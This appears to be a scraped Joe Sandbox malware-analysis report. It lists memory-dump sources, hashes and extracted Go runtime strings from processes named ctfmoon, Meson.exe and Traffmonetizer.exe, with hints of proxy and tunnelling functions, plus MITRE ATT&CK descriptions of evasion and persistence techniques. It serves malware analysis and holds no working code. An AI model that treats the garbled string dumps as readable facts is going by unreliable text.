Source File: 00000038.00000002.2289786542.0000000000C01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00C00000, based on PE: true

Associated: 00000038.00000002.2289692586.0000000000C00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2290352336.0000000000EF5000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2290914054.000000000119D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2290964866.00000000011A6000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291090153.00000000011FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291216155.00000000011FC000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291321600.00000000011FE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291321600.000000000120A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291321600.000000000120E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291321600.000000000122A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291566310.0000000001232000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291566310.00000000012D2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2292381816.00000000014B3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2292444935.00000000014B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_c00000_ctfmoon.jbxd

Similarity

API ID:
String ID: %$CreateWaitableTimerEx when creating timer failedTime.MarshalJSON: year outside of range [0,9999]Time.MarshalText: year outside of range [0,9999]bufio: writer returned negative count from Writecould not find GetSystemTimeAsFileTime() syscallfailed to parse cert$VirtualQuery for stack base failedadding nil Certificate to CertPoolarray of non-uint8 in field %d: %Tbad scalar length: %d, expected %dchacha20: wrong HChaCha20 key sizecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid bu$bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedchan receiveclose notifycontent-typecontext.TODOdirect-tcpipdriver_aliasdumping heapend tracegcentersyscallethereum-p2pgcBitsArenasgcpacertracegetaddrinfowharddecommithmac-sha$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=soap boolean: %q is not a valid boolean valuessh: only handshakeTransport can send kexInitssh: only handshakeTransport can se$runtime.minit: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setslice of unknown type in field %d: %TstartTheWorld: inconsistent mp->nextptls: unsupported certificate key (%T)t$runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=soap boolean: %q is not a valid boolean valuessh: only handshakeTransport can send kexInitssh: only handshakeTransport can send newKeysssh: unexpected message type %d (ex$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:$runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedsysMemStat overflowtoo many open filesunexpected InstFailunexpected g statusunknown Go type: %vunknown certificateunknown ciphe
API String ID: 0-1193442273
Opcode ID: 6ea7d3efde85d022ae3564bc079034bb41e748edb7dc87fa102a9c44e3c24467
Instruction ID: 951f0191b9811ff2c104fd9291f5f72a7a81ecebd37f6d3ee04ab7c4e3c3aa7a
Opcode Fuzzy Hash: 6ea7d3efde85d022ae3564bc079034bb41e748edb7dc87fa102a9c44e3c24467
Instruction Fuzzy Hash: 3981DEB44297058FD350EF64D18575ABBE4EF88708F00892DF49887392DBB4D949EF92

Function 00C445F0 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchssh: packet too largessh: packet too smallstale NFS file handlestartlockedm: m has pstartm: m is spinningstate no, xrefs: 00C44741
m->p= max= min= next= p->m= prev= span=% util%s: %v(...), i = , not , val .local.onion279744390625623603623604<-chanAacuteAcceptAgraveAnswerArabicAtildeAugustBasic BrahmiCANCELCDATA[CarianCcedilChakmaCommonCookieCopticDaggerEC-ACCEacuteEgraveExpectFormatFr, xrefs: 00C446AB
p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = , settings:.WithCancel/dev/stderr/dev/stdout/index.html127.0.0.0/830517578125: frame.sp=; Max-Age=0> in space BLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bad GatewayBad Req, xrefs: 00C446F7
releasep: m=remote errorrsa-sha2-256rsa-sha2-512runtime.nameruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinessh-userauthsweepWaiterstraceStringstraffic_soldtransmitfileunauthorizedunexpected )unknown portupdate_r, xrefs: 00C44689

Memory Dump Source

Source File: 00000038.00000002.2289786542.0000000000C01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00C00000, based on PE: true

Associated: 00000038.00000002.2289692586.0000000000C00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2290352336.0000000000EF5000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2290914054.000000000119D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2290964866.00000000011A6000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291090153.00000000011FA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291216155.00000000011FC000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291321600.00000000011FE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291321600.000000000120A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291321600.000000000120E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291321600.000000000122A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291566310.0000000001232000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2291566310.00000000012D2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2292381816.00000000014B3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000038.00000002.2292444935.00000000014B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_c00000_ctfmoon.jbxd

Similarity

API ID:
String ID: m->p= max= min= next= p->m= prev= span=% util%s: %v(...), i = , not , val .local.onion279744390625623603623604<-chanAacuteAcceptAgraveAnswerArabicAtildeAugustBasic BrahmiCANCELCDATA[CarianCcedilChakmaCommonCookieCopticDaggerEC-ACCEacuteEgraveExpectFormatFr$ p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = , settings:.WithCancel/dev/stderr/dev/stdout/index.html127.0.0.0/830517578125: frame.sp=; Max-Age=0> in space BLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bad GatewayBad Req$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchssh: packet too largessh: packet too smallstale NFS file handlestartlockedm: m has pstartm: m is spinningstate no$releasep: m=remote errorrsa-sha2-256rsa-sha2-512runtime.nameruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinessh-userauthsweepWaiterstraceStringstraffic_soldtransmitfileunauthorizedunexpected )unknown portupdate_r
API String ID: 0-1726034064
Opcode ID: ddbfc1435740ecb215b9aa45f4db11693ce10a404e817250c667552593fc8d32
Instruction ID: 092521bd3c9074a148588336a24329fa04928941de09d9180fbb2fa28955fbff
Opcode Fuzzy Hash: ddbfc1435740ecb215b9aa45f4db11693ce10a404e817250c667552593fc8d32
Instruction Fuzzy Hash: CC31FEB4518705CFD304EF64C185B5ABBE0FF88304F05892DE4998B352D7B8D988EBA2

Analysis Process: Meson.exePID: 23912, Parent PID: 12364COMMON

Non-executed Functions

Function 006755C0 Relevance: 12.7, Strings: 10, Instructions: 172COMMON

Download Yara Rule

Strings

)***/+-, ---1->. ...\./*///i00010X0b0o0s0x25536280: :]</> >??CcCfCoCsGTLTLlLmLoLtLuMcMeMnNdNlNoPcPdPePfPiPoPsScSkSmSoToYiZlZpZs[[[[]")":"""\&\'\*\D\E\S\W\"\\\b\d\f\n\r\s\t\w ])]:][]]]aAbBdleEeqfFgegth1h2h3h4h5h6i)iIidifipjsl lLleltmsn=nNnensoOolor, xrefs: 006757AF
%, xrefs: 006758E4
runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=totalAlloc and consistent stats are not equaltransitioning GC to the same state as before?tried to run scavenger from another goroutineunsafe.String: ptr is nil and len i, xrefs: 0067584C
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:, xrefs: 006757F1
bad g0 stackbad recoveryblacksquare;block clausecan't happencas64 failedchan receivecircledcirc;circleddash;context.TODOcurlyeqprec;curlyeqsucc;decode arraydecode errordecode slicediamondsuit;dumping heapempty numberend tracegcentersyscalleqslantless;exit sta, xrefs: 006757CA
runtime: g0 stack [runtime: heapInUse=runtime: pcdata is runtime: preempt g0runtime: totalFree=semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtemplate: %s:%d: %stime: unknown unit too many open filesunclosed left parenunexpected %s, xrefs: 0067575B
CreateWaitableTimerEx when creating timer failedInt.GobDecode: encoding version %d not supportedRat.GobDecode: encoding version %d not supportedShows a list of commands or help for one commandbufio: writer returned negative count from Writecan't install method, xrefs: 00675880
VirtualQuery for stack base failed" is anonymous but has PkgPath setcan't evaluate field %s in type %scan't handle %s for arg of type %schacha20: wrong HChaCha20 key sizecrypto/aes: invalid buffer overlapdoaddtimer: P already set in timerexpected exactly %d bi, xrefs: 00675825
runtime.minit: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function satellite client mgr, client map len:satellite udp user mgr, user map len:send Msg_Req_SecKey to server err: %ssetprofilebucket: profile already sets, xrefs: 006758DB
runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=totalAlloc and consistent stats are not equaltransitioning GC to the same state as before?tried to run scavenger from another, xrefs: 006758A7

Memory Dump Source

Source File: 0000003A.00000002.4093856898.0000000000641000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00640000, based on PE: true

Associated: 0000003A.00000002.4093673741.0000000000640000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4096747987.000000000091B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4096747987.0000000000A08000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4096747987.0000000000A0B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4100219920.0000000000C0C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4100420138.0000000000C12000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4100674989.0000000000C13000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4100832371.0000000000C14000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101033187.0000000000C26000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101090424.0000000000C27000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101169653.0000000000C29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101169653.0000000000C32000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101169653.0000000000C36000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101169653.0000000000C52000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101569639.0000000000C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101569639.0000000000CFA000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4102317978.0000000000EA6000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4102397138.0000000000EA7000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_640000_Meson.jbxd

Similarity

API ID:
String ID: %$)***/+-, ---1->. ...\./*///i00010X0b0o0s0x25536280: :]</> >??CcCfCoCsGTLTLlLmLoLtLuMcMeMnNdNlNoPcPdPePfPiPoPsScSkSmSoToYiZlZpZs[[[[]")":"""\&\'\*\D\E\S\W\"\\\b\d\f\n\r\s\t\w ])]:][]]]aAbBdleEeqfFgegth1h2h3h4h5h6i)iIidifipjsl lLleltmsn=nNnensoOolor$CreateWaitableTimerEx when creating timer failedInt.GobDecode: encoding version %d not supportedRat.GobDecode: encoding version %d not supportedShows a list of commands or help for one commandbufio: writer returned negative count from Writecan't install method$VirtualQuery for stack base failed" is anonymous but has PkgPath setcan't evaluate field %s in type %scan't handle %s for arg of type %schacha20: wrong HChaCha20 key sizecrypto/aes: invalid buffer overlapdoaddtimer: P already set in timerexpected exactly %d bi$bad g0 stackbad recoveryblacksquare;block clausecan't happencas64 failedchan receivecircledcirc;circleddash;context.TODOcurlyeqprec;curlyeqsucc;decode arraydecode errordecode slicediamondsuit;dumping heapempty numberend tracegcentersyscalleqslantless;exit sta$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=totalAlloc and consistent stats are not equaltransitioning GC to the same state as before?tried to run scavenger from another$runtime.minit: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function satellite client mgr, client map len:satellite udp user mgr, user map len:send Msg_Req_SecKey to server err: %ssetprofilebucket: profile already sets$runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=totalAlloc and consistent stats are not equaltransitioning GC to the same state as before?tried to run scavenger from another goroutineunsafe.String: ptr is nil and len i$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:$runtime: g0 stack [runtime: heapInUse=runtime: pcdata is runtime: preempt g0runtime: totalFree=semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtemplate: %s:%d: %stime: unknown unit too many open filesunclosed left parenunexpected %s
API String ID: 0-3870906756
Opcode ID: 6bc927efd28a8f5db1197a8f0743d999a2016649a7d8e30f865f7874f0c37b2a
Instruction ID: b44772dcea1e5609df9d50de7f59c6f33bcf7691c48902ce79c657cbc3e1c461
Opcode Fuzzy Hash: 6bc927efd28a8f5db1197a8f0743d999a2016649a7d8e30f865f7874f0c37b2a
Instruction Fuzzy Hash: AA81EFB45087018FD380EFA4C589B5EBBE2BF88704F40892DE4888B392DB759949CF57

Function 00685560 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

releasep: invalid argruntime: confused by runtime: mappedReady=runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: totalMapped=runtime: work.nwait= set bit is not 0 or 1signal.NotifyContext(socks5 udp tcp incomestale NFS file handlestartloc, xrefs: 006856B1
p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC)%d,%d,%d,%d%d.%d.%d.%d%s %s%s%s&Backslash;·&CircleDot;&Congruent;&Coproduct;&DoubleDot;&DownArrow;&DownBreve;&Downarrow;&HumpEqual;&LeftArrow;&LeftFloor;&Leftarrow;&LessTilde;&Mellin, xrefs: 00685667
m->p= max= min= next= p->m= prev= span=% util%s: %s%s:%s%s[%dm%s[%sm%v: %s&AElig&Acirc&Aopf;&Aring&Ascr;Ä&Barv;Β&Bopf;&Bscr;&CHcy;&COPY;&Cdot;&Copf;&Cscr;&DJcy;&DScy;&DZcy;&Darr;&Dopf;&Dscr;&Ecirc&Edot;&Eopf;&Escr;&Esim;Ë&Fopf;&Fscr;&GJcy;&G, xrefs: 0068561B
releasep: m=runtime: gp=runtime: sp=self-preemptsetupapi.dllshort buffershort packetspanSetSpinestraightphi;succcurlyeq;succnapprox;sweepWaitersthickapprox;traceStringstransmitfiletype_accounttype_dy_authunexpected )unknown portupdownarrow;wintrust.dllwirep: p, xrefs: 006855F9

Memory Dump Source

Source File: 0000003A.00000002.4093856898.0000000000641000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00640000, based on PE: true

Associated: 0000003A.00000002.4093673741.0000000000640000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4096747987.000000000091B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4096747987.0000000000A08000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4096747987.0000000000A0B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4100219920.0000000000C0C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4100420138.0000000000C12000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4100674989.0000000000C13000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4100832371.0000000000C14000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101033187.0000000000C26000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101090424.0000000000C27000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101169653.0000000000C29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101169653.0000000000C32000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101169653.0000000000C36000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101169653.0000000000C52000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101569639.0000000000C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4101569639.0000000000CFA000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4102317978.0000000000EA6000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000003A.00000002.4102397138.0000000000EA7000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_640000_Meson.jbxd

Similarity

API ID:
String ID: m->p= max= min= next= p->m= prev= span=% util%s: %s%s:%s%s[%dm%s[%sm%v: %s&AElig&Acirc&Aopf;&Aring&Ascr;Ä&Barv;Β&Bopf;&Bscr;&CHcy;&COPY;&Cdot;&Copf;&Cscr;&DJcy;&DScy;&DZcy;&Darr;&Dopf;&Dscr;&Ecirc&Edot;&Eopf;&Escr;&Esim;Ë&Fopf;&Fscr;&GJcy;&G$ p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC)%d,%d,%d,%d%d.%d.%d.%d%s %s%s%s&Backslash;·&CircleDot;&Congruent;&Coproduct;&DoubleDot;&DownArrow;&DownBreve;&Downarrow;&HumpEqual;&LeftArrow;&LeftFloor;&Leftarrow;&LessTilde;&Mellin$releasep: invalid argruntime: confused by runtime: mappedReady=runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: totalMapped=runtime: work.nwait= set bit is not 0 or 1signal.NotifyContext(socks5 udp tcp incomestale NFS file handlestartloc$releasep: m=runtime: gp=runtime: sp=self-preemptsetupapi.dllshort buffershort packetspanSetSpinestraightphi;succcurlyeq;succnapprox;sweepWaitersthickapprox;traceStringstransmitfiletype_accounttype_dy_authunexpected )unknown portupdownarrow;wintrust.dllwirep: p
API String ID: 0-3348360876
Opcode ID: fd1c9774bea4e3f1c15dbdac09be2ce231a7a55677ec3a21043ee37d00bc3834
Instruction ID: 21b425012564319dc540a94c7c4696a0bce68500156a1fe1e287648019cfc93f
Opcode Fuzzy Hash: fd1c9774bea4e3f1c15dbdac09be2ce231a7a55677ec3a21043ee37d00bc3834
Instruction Fuzzy Hash: CC31D0B45197008FC340EF64C194B6EBBE2BF88704F45896DE8898B352E7359884DBA7

Analysis Process: Traffmonetizer.exePID: 31264, Parent PID: 12364COMMON

Executed Functions

Function 00007FFD9BAD3E10 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003D.00000002.4133331778.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_61_2_7ffd9bad0000_Traffmonetizer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37dd8998ce5a82cc1e1b8e0893357826e26045e32a5e4072867f1173cb035d8c
Instruction ID: ef8c31cc8552e4abfb21524fa5e116b6c8ca96158d4821958afbbb37016856fb
Opcode Fuzzy Hash: 37dd8998ce5a82cc1e1b8e0893357826e26045e32a5e4072867f1173cb035d8c
Instruction Fuzzy Hash: D6411630A09B8E8FDBA9DF18C860AAA77E1FF99300F040269D45997295CA34E945C781

Function 00007FFD9BAD31F1 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003D.00000002.4133331778.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_61_2_7ffd9bad0000_Traffmonetizer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 117427c5e1a20447ea40ced9f8eaaa11e62bf91d7378fc9aaab60259dffa1413
Instruction ID: c0798d9fc6e6fd0d7255049e96856213acc482fb06d9b85731c8cd598a8132a2
Opcode Fuzzy Hash: 117427c5e1a20447ea40ced9f8eaaa11e62bf91d7378fc9aaab60259dffa1413
Instruction Fuzzy Hash: C621C732F0D94E8BEBA5DB58D8516E933E1FFE5320F110275D059871A1DA74F9018380

Function 00007FFD9BAD9A16 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003D.00000002.4133331778.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_61_2_7ffd9bad0000_Traffmonetizer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00e22a25f40d63fc4a8eb9de46e79d2a548264a11f51b3b68d17dfb08ce1df1
Instruction ID: af0fd31e9eb9df2e17476434818268bf2a520884e47b8a524046473f38ed7ec1
Opcode Fuzzy Hash: c00e22a25f40d63fc4a8eb9de46e79d2a548264a11f51b3b68d17dfb08ce1df1
Instruction Fuzzy Hash: 3B21A126F0A59E4EE77597A908291F976E0EFC6310F4A02B5D41CC70B2ED98AA0B4681

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Firewall: Firewall Disable, Firewall: Firewall Rule Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

